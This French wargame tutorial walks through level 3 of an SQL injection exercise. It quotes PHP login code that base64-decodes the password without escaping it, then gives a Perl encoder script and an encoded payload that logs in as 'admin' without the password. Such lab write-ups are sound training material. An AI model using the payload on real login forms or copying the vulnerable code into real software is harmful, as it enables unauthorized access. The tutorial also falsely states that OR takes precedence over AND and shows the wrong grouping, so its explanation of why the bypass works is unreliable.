SQL Injection Wargame Tutorial :: Level 3


Détails du niveau

But : Exploiter le script du niveau 3 (ici) afin d'arriver à se connecter avec le compte "admin".

Bref extrait du code d'authentification :

$username=addslashes($_POST[username]);
$password=base64_decode($password);

$result=mysql_query("SELECT username FROM realusers WHERE password='$password' AND username='$username'");

Configuration de l'interpréteur PHP :

magic_quotes_gpc est activé.
register_globals est désactivé.

Exploitation

L'option "magic_quotes_gpc" étant activée, nous ne pouvons manipuler la requête via le champ 'username'.
Par contre, le champ 'password' étant décodée par l'application (format Base64), cela nous permet de générer une valeur qui, après décodage, contiendra des quotes . Il nous faut donc obtenir au final quelquechose comme :
WHERE password='ABCDEF' OR 'X'='X' AND username='admin'
En effet, grâce aux règles de priorité entre les opérateurs, le 'OR' sera traité avant le 'AND' :
((password='ABCDEF') OR ('X'='X')) AND (username='admin')
ce qui est à TRUE pour l'utilisateur 'admin', quel que soit son mot de passe.
Donc, choisissons un site quelconque qui propose un convertisseur Base64 (ici) ou utilisons un script maison :
#!/usr/local/bin/perl
use MIME::Base64;

my $decoded = encode_base64($ARGV[0]);
print "Converting \"$ARGV[0]\" : $decoded";
Exemple d'utilisation :
nico@bobby:~/warsql/ > ./base64.pl "ABCDEF' OR 'X'='X"
Converting "ABCDEF' OR 'X'='X" : QUJDREVGJyBPUiAnWCc9J1g=
Il ne nous reste alors plus qu'à coller cette chaine ("QUJDREVGJyBPUiAnWCc9J1g=") dans le champ 'password' du formulaire pour se logguer avec le compte 'admin' sans en connaître le mot de passe ...